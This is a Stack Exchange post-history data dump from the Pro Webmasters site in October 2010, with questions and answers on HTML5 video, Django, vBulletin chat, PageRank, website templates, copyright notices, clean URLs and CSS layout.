  <row Id="8050" PostHistoryTypeId="1" PostId="4082" RevisionGUID="ee838424-dcd8-48e2-9f3d-bc3489c7a248" CreationDate="2010-10-19T19:50:05.083" UserId="1327" Text="How can I get my site's existing flash videos to work on the iPad?" />
  <row Id="8051" PostHistoryTypeId="3" PostId="4082" RevisionGUID="ee838424-dcd8-48e2-9f3d-bc3489c7a248" CreationDate="2010-10-19T19:50:05.083" UserId="1327" Text="&lt;content&gt;&lt;video&gt;&lt;flash&gt;&lt;ipad&gt;" />
  <row Id="8052" PostHistoryTypeId="12" PostId="4066" RevisionGUID="3084fa03-aa01-4030-80be-b20ec8088180" CreationDate="2010-10-19T19:50:40.413" UserId="2288" Text="[{&quot;Id&quot;:2288,&quot;DisplayName&quot;:&quot;blunders&quot;}]" />
  <row Id="8053" PostHistoryTypeId="2" PostId="4083" RevisionGUID="9412f926-ea6d-48a3-a79e-1d5477420add" CreationDate="2010-10-19T19:55:33.247" UserId="1253" Text="You'll need to reencode the video and use HTML 5's new [`&lt;video&gt;`][1] tag. Fortunately it's backward compatible so you can use it and have it fall back to flash if the browser doesn't support `&lt;video&gt;` yet. The encoding most commonly supported thus far is [H.264][2].&#xD;&#xA;&#xD;&#xA;[This site][3] may help you get started as it has [demos available][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/HTML5_video&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC&#xD;&#xA;  [3]: http://www.html5video.org/&#xD;&#xA;  [4]: http://www.html5video.org/demos/" />
  <row Id="8054" PostHistoryTypeId="2" PostId="4084" RevisionGUID="e31df711-b0e8-40b8-a236-185987c05de0" CreationDate="2010-10-19T20:21:09.483" UserId="2288" Text="**I've found this stats to be the best:**&#xD;&#xA;http://w3techs.com/technologies/overview/content_management/all&#xD;&#xA;&#xD;&#xA;If you click any of the CMS systems listed, it'll tell you the the 10 most popular sites using that CMS. The page also breaks down what % of each version is being used. &#xD;&#xA;&#xD;&#xA;**Here's an overview of how they did the research, which to me makes sense:**&#xD;&#xA;http://w3techs.com/technologies&#xD;&#xA;" />
  <row Id="8055" PostHistoryTypeId="2" PostId="4085" RevisionGUID="275705b2-c0c0-48d8-ab6c-a3f2e5de2fe9" CreationDate="2010-10-19T20:37:15.500" UserId="2288" Text="For example: [html-XYZ][1], [xhtml][2], [html5][3] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/HTML&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/XHTML&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/HTML5" />
  <row Id="8056" PostHistoryTypeId="1" PostId="4085" RevisionGUID="275705b2-c0c0-48d8-ab6c-a3f2e5de2fe9" CreationDate="2010-10-19T20:37:15.500" UserId="2288" Text="Do you have stats/trends for use of different HyperText Markup Languages?" />
  <row Id="8057" PostHistoryTypeId="3" PostId="4085" RevisionGUID="275705b2-c0c0-48d8-ab6c-a3f2e5de2fe9" CreationDate="2010-10-19T20:37:15.500" UserId="2288" Text="&lt;html&gt;&lt;html5&gt;&lt;xhtml&gt;&lt;markup&gt;" />
  <row Id="8058" PostHistoryTypeId="2" PostId="4086" RevisionGUID="490dcb60-d90f-4753-a476-bdfb5fe83f49" CreationDate="2010-10-19T20:53:28.767" UserId="2562" Text="I'm looking to pick up basic web development by working through Programming Python's internet scripting chapters (especially the server-side scripting).&#xD;&#xA;&#xD;&#xA;Question: when I'm attempting to learn the basics of being a webmaster, should I jump into a full LAMP (with Python instead of PHP)/Django implementation? Or do you recommend I learn the basics with simpler pieces (e.g. Python web-server pieces like CGIHTTPServer/ BaseHTTPServer, sqlite3, etc.)?&#xD;&#xA; &#xD;&#xA;New to Pro Webmasters (having had a question migrated over here from SO) ... hope this question is on target.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Mike" />
  <row Id="8059" PostHistoryTypeId="1" PostId="4086" RevisionGUID="490dcb60-d90f-4753-a476-bdfb5fe83f49" CreationDate="2010-10-19T20:53:28.767" UserId="2562" Text="Better to learn with LAMP/Django or more basic building blocks?" />
  <row Id="8060" PostHistoryTypeId="3" PostId="4086" RevisionGUID="490dcb60-d90f-4753-a476-bdfb5fe83f49" CreationDate="2010-10-19T20:53:28.767" UserId="2562" Text="&lt;lamp&gt;&lt;learning&gt;" />
  <row Id="8065" PostHistoryTypeId="2" PostId="4088" RevisionGUID="09217a90-49bc-4152-b5ae-7f9462ea20b8" CreationDate="2010-10-19T21:56:28.023" UserId="2566" Text="I suspect Django would be a great place to start, especially with the [Django Book][1] which is where I cut my teeth on using Python server side.  I was very familiar with PHP and Drupal as well as a little Perl and Ruby on Rails for writing web apps beforehand but Django is extremely pleasant to use and tends to emphasize best practices.&#xD;&#xA;&#xD;&#xA;Once you've built something by all means go back and dig deeper into the basics. Django's also loosely coupled, so while it provides most everything you should need it's easy enough to replace components or hand-roll your own if it ever becomes necessary.&#xD;&#xA;&#xD;&#xA;For learning purposes keep it nice and simple using sqlite3 and the built in Django webserver.  Best of luck hope you have a blast :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.djangobook.com/ &quot;Django Book&quot;" />
  <row Id="8066" PostHistoryTypeId="2" PostId="4089" RevisionGUID="1a8fabf4-d7a0-4716-a364-c664ec26b4fe" CreationDate="2010-10-19T21:56:31.703" UserId="2288" Text="LAMP is a lot to take on, if your focus is Python, you might want to try **CherryPy**. &#xD;&#xA;&#xD;&#xA;&quot;CherryPy is an object-oriented web application framework using the Python programming language. It is designed for rapid development of web applications by wrapping the HTTP protocol, CherryPy is the web server itself, and has a very small foot print.&quot;&#xD;&#xA;&#xD;&#xA;**CherryPy official documentation**&#xD;&#xA;http://cherrypy.org/wiki/TableOfContents&#xD;&#xA;&#xD;&#xA;**CherryPy Tutorial**&#xD;&#xA;http://cherrypy.org/wiki/CherryPyTutorial&#xD;&#xA;&#xD;&#xA;**Also, you might find these question of use too:**&#xD;&#xA;http://stackoverflow.com/questions/17988/how-to-learn-python" />
  <row Id="8067" PostHistoryTypeId="2" PostId="4090" RevisionGUID="197e7c96-703f-4236-b745-9d00ce7054e3" CreationDate="2010-10-19T22:02:09.320" UserId="2288" Text="**I've found these stats to be the best:**&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies/overview/programming_language/all&#xD;&#xA;&#xD;&#xA;If you click any of the server-side languages listed, it'll tell you the the 10 most popular sites using that language. The page also breaks down what % of each version is being used. &#xD;&#xA;&#xD;&#xA;**Here's an overview of how they did the research, which to me makes sense:**&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8068" PostHistoryTypeId="5" PostId="4084" RevisionGUID="4df671bd-0188-4cbc-a9af-05c8bb20e9ef" CreationDate="2010-10-19T22:15:40.080" UserId="2288" Comment="added 11 characters in body" Text="**I've found these stats to be the best:**&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies/overview/content_management/all&#xD;&#xA;&#xD;&#xA;If you click any of the CMS systems listed, it'll tell you the the 10 most popular sites using that CMS. The page also breaks down what % of each version is being used. &#xD;&#xA;&#xD;&#xA;**Here's an overview of how they did the research, which to me makes sense:**&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies&#xD;&#xA;" />
  <row Id="8072" PostHistoryTypeId="13" PostId="4066" RevisionGUID="7fc4abd9-d70f-49d0-9ac1-e4d38d5e6e0c" CreationDate="2010-10-19T22:30:22.547" UserId="2288" Text="[{&quot;Id&quot;:2288,&quot;DisplayName&quot;:&quot;blunders&quot;}]" />
  <row Id="8073" PostHistoryTypeId="2" PostId="4092" RevisionGUID="b236c01e-8f1f-4102-8b47-3cc9d33bc9f1" CreationDate="2010-10-19T22:34:39.567" UserId="2288" Text="**Possible answer**, I will only select my answer as the correct one if up voted 3 times:&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies/overview/markup_language/all&#xD;&#xA;&#xD;&#xA;Also, found these of interest too:&#xD;&#xA;&#xD;&#xA;**Javascript Libraries**&#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies/overview/javascript_library/all&#xD;&#xA;&#xD;&#xA;**client-side programming** &#xD;&#xA;&#xD;&#xA; - http://w3techs.com/technologies/overview/client_side_language/all" />
  <row Id="8074" PostHistoryTypeId="2" PostId="4093" RevisionGUID="e6cc0e0b-d93a-4782-9bae-9ddc1350f512" CreationDate="2010-10-19T22:59:42.237" UserId="2567" Text="I'm wondering if there any software that adds the chat capability of on page chat (facebook-like), to the VBulliten forum system, with the following requirements:&#xD;&#xA;&#xD;&#xA; 1. Requires no plugins (Pure JavaScript) or has alternatives (Uses anyone that available of Flash, or Silverlight of Java).or just throw a link.&#xD;&#xA; 2. Integrates with the members system, utilizes the Username, User avatar.&#xD;&#xA; 3. Utilizes the friendship featues that is already implemented in VBulliten. So you can see online friends and private-chat with them. And if it supports the public chat rooms it will be better.&#xD;&#xA;&#xD;&#xA;I would like to hear about software you've experienced: commercial, property free-ware, or free/open-source. And what services they offer or just a brief about their Pros/Cons from your point of view.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="8075" PostHistoryTypeId="1" PostId="4093" RevisionGUID="e6cc0e0b-d93a-4782-9bae-9ddc1350f512" CreationDate="2010-10-19T22:59:42.237" UserId="2567" Text="Chat solution, that integrates with VBulliten forums" />
  <row Id="8076" PostHistoryTypeId="3" PostId="4093" RevisionGUID="e6cc0e0b-d93a-4782-9bae-9ddc1350f512" CreationDate="2010-10-19T22:59:42.237" UserId="2567" Text="&lt;forum&gt;&lt;chat&gt;" />
  <row Id="8077" PostHistoryTypeId="2" PostId="4094" RevisionGUID="6c7c603b-72a0-4175-a521-c9584ea75697" CreationDate="2010-10-19T23:07:46.667" UserId="1757" Text="I can't find any recent numbers on HTML usage, but [this site][1] has some figures from 2 years ago.&#xD;&#xA;&#xD;&#xA;[Here][2]'s a small-scale poll of web developers (figures will be skewed since it's from a development site) from 2008 as well.&#xD;&#xA;&#xD;&#xA;But it's probably best to just choose your HTML version or doctype by looking at browser support. On new projects, you should just use the latest version of HTML/XHTML that is well-supported across all browsers.&#xD;&#xA;&#xD;&#xA;  [1]: http://nikitathespider.com/articles/ByTheNumbers/fall2008.html#doctypes&#xD;&#xA;  [2]: http://www.sitepoint.com/forums/showthread.php?t=557571" />
  <row Id="8078" PostHistoryTypeId="2" PostId="4095" RevisionGUID="f2938da1-a61e-43ea-8596-4e4a0b3b8a8c" CreationDate="2010-10-19T01:35:42.383" UserDisplayName="user479950" Text="Today i saw my website's page rank gone down from 2 to 0. it happened once before as well. I don't remember spamming anywhere and i don't have too many posts on my forum. I heard they are very strict about forum websites and tries to keep the rank down frequently. Have anyone of you experience such thing. Thanks." />
  <row Id="8079" PostHistoryTypeId="1" PostId="4095" RevisionGUID="f2938da1-a61e-43ea-8596-4e4a0b3b8a8c" CreationDate="2010-10-19T01:35:42.383" UserDisplayName="user479950" Text="why does google remove pagerank sometimes?" />
  <row Id="8080" PostHistoryTypeId="3" PostId="4095" RevisionGUID="f2938da1-a61e-43ea-8596-4e4a0b3b8a8c" CreationDate="2010-10-19T01:35:42.383" UserDisplayName="user479950" Text="&lt;page&gt;&lt;pagerank&gt;" />
  <row Id="8081" PostHistoryTypeId="17" PostId="4095" RevisionGUID="9bec6e44-ea70-4413-a340-7d331c462122" CreationDate="2010-10-19T23:13:16.187" UserId="-1" Comment="from http://stackoverflow.com/questions/3964773/why-does-google-remove-pagerank-sometimes" Text="" />
  <row Id="8083" PostHistoryTypeId="2" PostId="4096" RevisionGUID="2ed3e831-9c40-48ff-a6a3-6a03f4c45945" CreationDate="2010-10-19T23:29:45.007" UserId="1757" Text="Your PageRank can drop for a variety of reasons outside of your direct control. For instance, if your PR is mainly coming from site X, and site X suddenly stops linking to you or loses its PR for some reason, then you will experience a PR drop.&#xD;&#xA;&#xD;&#xA;That said, most of the time it's probably going to be something you did. For instance, if you link to a spammy, low-quality site or engage in some kind of unethical practice that Google catches wind of (e.g. PayPerPost a few years back). Some SEO practices may net you a rank increase in the short-term, but once Google changes their algorithm, you could lose that PR.&#xD;&#xA;&#xD;&#xA;That said, if you can't &quot;remember&quot; whether you spammed anywhere, then you've probably been spamming, which builds low quality links and can itself lead to Google penalizing you for engaging in spamming." />
  <row Id="8084" PostHistoryTypeId="2" PostId="4097" RevisionGUID="0e9f4a62-f401-4375-9123-74b3e3c05700" CreationDate="2010-10-19T23:33:25.263" UserId="2288" Text="**Examples of website templates being:** &#xD;&#xA;&#xD;&#xA; - [templatemonster.com][1]&#xD;&#xA; - [websitetemplates.com][2]&#xD;&#xA; - [buytemplates.net][3]&#xD;&#xA; - [designload.net][4]&#xD;&#xA; - [templaterover.com][5]&#xD;&#xA; - [boxedart.com][6]&#xD;&#xA; - [pixelmill.com][7]&#xD;&#xA; - [templateworld.com][8]&#xD;&#xA;&#xD;&#xA;**(If there's a popular source I'm missing, please comment. Thanks!)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://templatemonster.com&#xD;&#xA;  [2]: http://websitetemplates.com&#xD;&#xA;  [3]: http://buytemplates.net&#xD;&#xA;  [4]: http://designload.net&#xD;&#xA;  [5]: http://templaterover.com&#xD;&#xA;  [6]: http://boxedart.com&#xD;&#xA;  [7]: http://pixelmill.com&#xD;&#xA;  [8]: http://templateworld.com" />
  <row Id="8085" PostHistoryTypeId="1" PostId="4097" RevisionGUID="0e9f4a62-f401-4375-9123-74b3e3c05700" CreationDate="2010-10-19T23:33:25.263" UserId="2288" Text="What factors do you use to evaluate the quality of a website template?" />
  <row Id="8086" PostHistoryTypeId="3" PostId="4097" RevisionGUID="0e9f4a62-f401-4375-9123-74b3e3c05700" CreationDate="2010-10-19T23:33:25.263" UserId="2288" Text="&lt;template&gt;&lt;websites&gt;" />
  <row Id="8087" PostHistoryTypeId="5" PostId="4051" RevisionGUID="e526c66e-5021-4a69-adc1-8ebb35941e86" CreationDate="2010-10-19T23:46:09.083" UserId="89" Comment="added 692 characters in body" Text="Yes, it can help and yes, it can get you penalized.&#xD;&#xA;&#xD;&#xA;Those tools create lots of links to your site from &quot;good&quot; social media sites, links from good sites increase site ranking =&gt; Those tools can increase ranking.&#xD;&#xA;&#xD;&#xA;Now, about the penalizing thing&#xD;&#xA;&#xD;&#xA;* I think Google already suspects sites with a sudden increase in links and does something about it (I have no idea what).&#xD;&#xA;&#xD;&#xA;* If brute force tools become a problem for Google (that is, degrade the search results too much) Google will crack down on those tools and I can't believe Google won't be able to find patterns in the tool's automatic generated content.&#xD;&#xA;&#xD;&#xA;So, any such tool (I don't know anything about senuke specifically) is probably worth the money, until you get caught and get penalized.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Update: everything below the line was added after the answer was marked as accepted, so the question poster may not agree with it - I just had to go back and update my answer.&#xD;&#xA;&#xD;&#xA;Using senuke or other “brute force SEO” is spamming, it’s filling other sites with junk without their owner’s permission, it’s actively making it harder to find information by filling the internet with what is basically just pollution – it may be an effective way to make more money but so is sending spam e-mails (or dumping toxic waste from a factory into a nearby field and polluting the land instead of handling that waste properly).&#xD;&#xA;&#xD;&#xA;Please don’t do it, it’s just evil, you're better than that.&#xD;&#xA;" />
  <row Id="8088" PostHistoryTypeId="2" PostId="4098" RevisionGUID="6242d211-55d7-409d-a68e-2d4e36902564" CreationDate="2010-10-20T02:55:08.740" UserId="138" Text="I choose my three or four favourite, and show them to people:&#xD;&#xA;&#xD;&#xA;1. Whose opinion I respect&#xD;&#xA;2. Who know about the business/product the website is for&#xD;&#xA;3. Who are not scared to tell me that all my choices suck&#xD;&#xA;&#xD;&#xA;Mainly because after you've spent hour after hour staring at a million generic templates, it's easy to get lost and lose sight of the bigger picture. Also, if you spent 2 hours staring a sucky templates, the one that seems the least sucky tends to register as really good in your mind, when in fact it's still pretty sucky." />
  <row Id="8089" PostHistoryTypeId="2" PostId="4099" RevisionGUID="ce47584f-ed9f-451b-b1c8-c62db94b2f7c" CreationDate="2010-10-20T03:34:43.583" UserId="2574" Text="After reading &lt;a href=&quot;http://webmasters.stackexchange.com/questions/95/how-do-i-copyright-my-website&quot;&gt;this post&lt;/a&gt; I was wondering which is best to use for websites out of the following,&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Copyright &amp;copy; 2010 &quot;COMPANY&quot;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&amp;copy; 2010&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Copyright 2010&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Also, if we license everything we produce under the GPLv3 license, should we also include anything about that at the bottom?" />
  <row Id="8090" PostHistoryTypeId="1" PostId="4099" RevisionGUID="ce47584f-ed9f-451b-b1c8-c62db94b2f7c" CreationDate="2010-10-20T03:34:43.583" UserId="2574" Text="Copyright word or symbol" />
  <row Id="8091" PostHistoryTypeId="3" PostId="4099" RevisionGUID="ce47584f-ed9f-451b-b1c8-c62db94b2f7c" CreationDate="2010-10-20T03:34:43.583" UserId="2574" Text="&lt;copyright&gt;" />
  <row Id="8092" PostHistoryTypeId="2" PostId="4100" RevisionGUID="2af088f5-b3c7-4e28-8bb1-4ab68ba2dcd3" CreationDate="2010-10-20T03:36:04.107" UserId="1064" Text="I'm curious as to why a product page would be effectively disabled if it is known that the product will be back - why not accept backorders? (Seems like there's a chance you'd lose business if the *customer* can't see that the product still exists on the site)" />
  <row Id="8093" PostHistoryTypeId="2" PostId="4101" RevisionGUID="b8f9931d-ce73-468e-ba70-6e1081473e21" CreationDate="2010-10-20T03:49:54.090" UserId="1703" Text="It looks like these people already do what you are proposing - http://www.lonex.com/content-management-system/joomla/&#xD;&#xA;&#xD;&#xA;You have a big task on your hands with this one. Everything you described can be accomplished, but mostly using shell scripts. You would need to setup subdomains according to registered users then install Joomla on the subdomain then install components into Joomla, but I suggest focussing on getting the subdomain and Joomla installed. This will require access to certain files that you will probably not get access to on a shared hosting environment so you would need to look at dedicated host where you have full access to the server. It's also probably worth mentioning that you will require a database for every Joomla install, if you have many users then this can get very large!&#xD;&#xA;&#xD;&#xA;To get you started have a look at this post - http://forums.digitalpoint.com/showthread.php?t=53570 - about setting up subdomains. You could run these shell commands from php using shell_exec().&#xD;&#xA;&#xD;&#xA;Then from there you are going to have to auto generate a database for each site, have a look at this tutorial - http://bash.cyberciti.biz/mysql/add-database-username-password-remote-host-access/&#xD;&#xA;&#xD;&#xA;Now the hard part is installing Joomla. There are tools that already exist in cPanel for hosting accounts like Fantastico and SimpleScripts that give 1 click installs for common web applications. But this requires interaction, however these scripts illustrate that you will need to keep a check on the versions of Joomla you have installed and try and keep these up to date. So not only will you need to install Joomla, you will also need a script that can update each install of Joomla. Lots to think about here.&#xD;&#xA;&#xD;&#xA;It might be worth having a look at these scripts which promise complete Joomla site installation. I haven't used them before though.&#xD;&#xA;&#xD;&#xA;  - http://www.howtoforge.net/forums/showthread.php?p=150321#post150321&#xD;&#xA;  - http://forum.joomla.org/viewtopic.php?t=8602&#xD;&#xA;  - http://joomla.astang.com/&#xD;&#xA;&#xD;&#xA;Good luck, I think you will need it!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.digitalpoint.com/showthread.php?t=53570" />
  <row Id="8094" PostHistoryTypeId="2" PostId="4102" RevisionGUID="3be2efc3-befb-4c70-a702-45a90d299c14" CreationDate="2010-10-20T04:00:08.097" UserId="1703" Text="Any of those would do. As the post you posted suggests, anything you create is automatically copyrighted and does not require you to place a copyright notice, although I would suggest that you do so.&#xD;&#xA;&#xD;&#xA;In terms of &quot;everything&quot; you produce, I take it that this is open source software. There lies a difference here in that the copyright is for your website and its content while the GPL license applies to the software you distribute. This also has its own copyright and you should include this in the header of each file. With GPL it allows users to add/modify your code given that your credits for your work remain." />
  <row Id="8095" PostHistoryTypeId="2" PostId="4103" RevisionGUID="1df99043-a51b-47b0-9845-26ff2c408e40" CreationDate="2010-10-20T05:55:51.657" UserId="745" Text="I haven't bought templates before, but if I were to buy a template, I'd do something like the following process:&#xD;&#xA;&#xD;&#xA; - Figure out my site's objectives.&#xD;&#xA; - Research my target market.&#xD;&#xA; - Look at other sites in the same&#xD;&#xA;   industry/niche.&#xD;&#xA; - Weed out templates that have been&#xD;&#xA;   used too many times, especially any&#xD;&#xA;   used by competition.&#xD;&#xA; - Choose the 2-3 templates that will&#xD;&#xA;   best be able to accomplish the site's&#xD;&#xA;   objectives while appealing to the&#xD;&#xA;   target market. Depending on your&#xD;&#xA;   strategy and/or niche, you may or may&#xD;&#xA;   not want it to be like other sites in&#xD;&#xA;   the same niche.&#xD;&#xA; - Do a quick test by showing people in&#xD;&#xA;   my target market which template&#xD;&#xA;   appeals to them, which would be&#xD;&#xA;   easiest to use, which would entice&#xD;&#xA;   them to fulfill the objectives while&#xD;&#xA;   they're on the site, and so on...Have&#xD;&#xA;   them rate each question for each&#xD;&#xA;   template on a scale of 1-5 and then&#xD;&#xA;   add up your points. You shouldn't&#xD;&#xA;   need more than 4-5 people.&#xD;&#xA; - Try to buy a exclusive rights for the&#xD;&#xA;   template so it can't be resold from&#xD;&#xA;   that point forward.&#xD;&#xA; - If I find some templates I like, but&#xD;&#xA;   nothing quite suits the site, I'd&#xD;&#xA;   contact template authors that I feel&#xD;&#xA;   could do a good job based on their&#xD;&#xA;   other work and ask them to create a&#xD;&#xA;   custom template." />
  <row Id="8096" PostHistoryTypeId="2" PostId="4104" RevisionGUID="6545487d-38b9-4fa4-8bac-247400932568" CreationDate="2010-10-20T08:04:45.857" UserId="1089" Text="&quot;I heard they are very strict about forum websites and tries to keep the rank down frequently. &quot;&#xD;&#xA;&#xD;&#xA;Do you have a source on this? I have found forum websites tend to rank poorly for a combination of reasons - forum software tends not to be very search engine friendly, and the quality of the content of the forums can be incredibly poor.&#xD;&#xA;&#xD;&#xA;On the issue of pagerank, I personally don't worry about this too much, peaks and troughs happen for a variety of reasons, changes to the algorithm, back links get removed, sites get hacked etc. If you have good content and don't induldge in dodgy practises (spamming etc) your ranking should return." />
  <row Id="8097" PostHistoryTypeId="2" PostId="4106" RevisionGUID="f1c39245-3991-4977-a986-69e62dbe6e0e" CreationDate="2010-10-20T09:06:28.557" UserDisplayName="Claudiu" Text="I ussually use http://www.example.com/product/123/subpage/456. In my case, I've been better off using this kind of URL rather than URL's with parameters. It's your decision tough...&#xD;&#xA;&#xD;&#xA;Also, using htaccess (if you're using apache) you can get the rewriting of the pages quite easilly." />
  <row Id="8098" PostHistoryTypeId="2" PostId="4107" RevisionGUID="eeb57ee4-038e-47b3-8330-92e14482d242" CreationDate="2010-10-20T09:08:12.360" UserId="811" Text="The first one is preferred. This is because it is interpreted as document, whereas the second one is interpreted as document up to product, and as query arguments later on. So search-engine wise, there is no difference between &#xD;&#xA;&#xD;&#xA;    http://www.example.com/product?123/subpage/456&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product?p1=123&amp;p3=456&amp;p2=subpage&#xD;&#xA;&#xD;&#xA;it is only human-eye friendly, but the search engine will not interpret it as a path. Moreover, I am sure that if a person would need to enter that in the browser manually, they will surely miss the question mark as it is not expected there (this is for path usability).&#xD;&#xA;&#xD;&#xA;The first case (without the ?) will allow the engine to properly assign hierarhy (456 is child of subpage, which is child of 123, etc...). The second one will not." />
  <row Id="8099" PostHistoryTypeId="2" PostId="4105" RevisionGUID="b3757f9e-47c4-46f8-a7ff-5e400a82e20c" CreationDate="2010-10-20T09:02:25.483" UserId="1963" Text="Simple question&#xD;&#xA;&#xD;&#xA;What is better:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product/123/subpage/456.html&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product?123/subpage/456&#xD;&#xA;&#xD;&#xA;As far as I know they would rank the same SEO wise, but my SEO knowledge might be a little off. Also the last one seems to be easier and cleaner to implement on my end.&#xD;&#xA;&#xD;&#xA;Please explain to me which is better and for what reasons." />
  <row Id="8100" PostHistoryTypeId="1" PostId="4105" RevisionGUID="b3757f9e-47c4-46f8-a7ff-5e400a82e20c" CreationDate="2010-10-20T09:02:25.483" UserId="1963" Text="Clean URL: with or without &quot;?&quot;" />
  <row Id="8101" PostHistoryTypeId="3" PostId="4105" RevisionGUID="b3757f9e-47c4-46f8-a7ff-5e400a82e20c" CreationDate="2010-10-20T09:02:25.483" UserId="1963" Text="&lt;seo&gt;&lt;clean-urls&gt;&lt;user-friendly&gt;" />
  <row Id="8102" PostHistoryTypeId="17" PostId="4105" RevisionGUID="d1db83a3-693d-45db-bc4c-ad30bc751f06" CreationDate="2010-10-20T09:13:19.570" UserId="-1" Comment="from http://stackoverflow.com/questions/3976212/clean-url-with-or-without" Text="" />
  <row Id="8103" PostHistoryTypeId="2" PostId="4108" RevisionGUID="42aaf512-72cb-4c25-bdb3-5cb66f6d341b" CreationDate="2010-10-20T09:22:32.333" UserId="2578" Text="Slightly off-topic but I try anyhow:&#xD;&#xA;&#xD;&#xA;When I encounter URLs like `http://www.example.com/product/123/subpage/456.html` I always think that this is an attempt on creating meaningful hierarchical URLs which, however, is not entirely hierarchical. What I mean is, you should be able to slice off *one level at a time*. In the above, the URL has two violations on this principle:&#xD;&#xA;&#xD;&#xA; 1. `/product/123` is *one* piece of information represented as two levels. It would be more correctly represented as `/product:123` (or whatever delimiter you like)&#xD;&#xA; 2. `/subpage` is very likely not an entity in itself (i.e., you cannot go up *one* level from `456.html` as `http://www.example.com/product/123/subpage` is &quot;nothing&quot;).&#xD;&#xA;&#xD;&#xA;Therefore, I find the following more correct:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product:123/456.html&#xD;&#xA;&#xD;&#xA;Here, you can always navigate up one level at a time:&#xD;&#xA;&#xD;&#xA; * `http://www.example.com/product:123/456.html` &amp;mdash; The subpage&#xD;&#xA; * `http://www.example.com/product:123` &amp;mdash; The product page&#xD;&#xA; * `http://www.example.com/` &amp;mdash; The root&#xD;&#xA;&#xD;&#xA;Following the same philosophy, the following would make sense:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/products/123/456.html&#xD;&#xA;&#xD;&#xA;Where:&#xD;&#xA;&#xD;&#xA; * `http://www.example.com/products/123/456.html` &amp;mdash; The subpage&#xD;&#xA; * `http://www.example.com/products/123` &amp;mdash; The product page&#xD;&#xA; * `http://www.example.com/products` &amp;mdash; The list of products&#xD;&#xA; * `http://www.example.com/` &amp;mdash; The root&#xD;&#xA;&#xD;&#xA;*(Sorry about spamming your question, @red-X)*" />
  <row Id="8104" PostHistoryTypeId="2" PostId="4109" RevisionGUID="9bee1d60-32ef-4468-b44c-93e131537c6a" CreationDate="2010-10-20T09:31:02.063" UserId="233" Text="It is likely that a site somewhere linked to you using `https://` and Google then followed relative links through your site which ended up as HTTPS. You've take some good steps already by putting the correct URLs in your XML sitemap. I would also suggest to:&#xD;&#xA;&#xD;&#xA;* Turn off SSL if possible.&#xD;&#xA;* Link to your pages using the full URL, i.e. `http://example.com/page.html` instead of `/page.html`. If it's too much effort to do the whole site, at least do the menu so it shows up on every page.&#xD;&#xA;* Use canonical URLs, at least on your most popular pages.&#xD;&#xA;* Find out who is linking to you and check they are not using HTTPS. Contact them and ask to be linked in the correct way." />
  <row Id="8105" PostHistoryTypeId="2" PostId="4110" RevisionGUID="bca7d5b7-0df9-4dcf-9b81-a46453bfcc3c" CreationDate="2010-10-20T10:30:26.697" UserId="2276" Text="i saw this on a website, and looked a bit through the css, but coudn't quite find what I am looking for.&#xD;&#xA;How to make a html element let's say a `&lt;div&gt;` with width of eg. 3000px but make so that page doesen't put up scrollers automaticlly so that you can scroll to the right most and see the end of that content. But if the page is resized to let's say resolution smaller then 800x600, scrollbars appear (becouse the MAIN content is bigger than that), but they only let you scroll and see the MAIN content, not the right most part of the said `&lt;div&gt;`.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So basically, how to a browser ignore an elemets width or height no matter how big or sall it is?" />
  <row Id="8106" PostHistoryTypeId="1" PostId="4110" RevisionGUID="bca7d5b7-0df9-4dcf-9b81-a46453bfcc3c" CreationDate="2010-10-20T10:30:26.697" UserId="2276" Text="Web page element width" />
  <row Id="8107" PostHistoryTypeId="3" PostId="4110" RevisionGUID="bca7d5b7-0df9-4dcf-9b81-a46453bfcc3c" CreationDate="2010-10-20T10:30:26.697" UserId="2276" Text="&lt;css&gt;&lt;html&gt;" />
  <row Id="8108" PostHistoryTypeId="2" PostId="4111" RevisionGUID="d6f78116-965e-4fd9-b0b1-cd123bb8a14d" CreationDate="2010-10-20T10:52:58.137" UserId="2379" Text="You apply the sizes for the div using CSS styles.  You can do them inline or in a stylesheet document (recommonended)&#xD;&#xA;&#xD;&#xA;Its hard to do a proper design that reaches all monitor widths.  You see this for admin interfaces, or online maps, but most popualr websites have around a 960px width.&#xD;&#xA;&#xD;&#xA;An approach you can do with CSS is:&#xD;&#xA;min-width:600px, max-widht:1200px;.   This will make a div that has to be at least 600px fat and wont get fatter than 1200px.  The problem is if a website gets too fat, and someone opens it up on a 1920x1200 screeen or 2560x1600 screen then the website looks really funny.&#xD;&#xA;&#xD;&#xA;In anycase, be careful with this type of design.  Usually the width of this web page is the best choice .&#xD;&#xA;&#xD;&#xA;" />
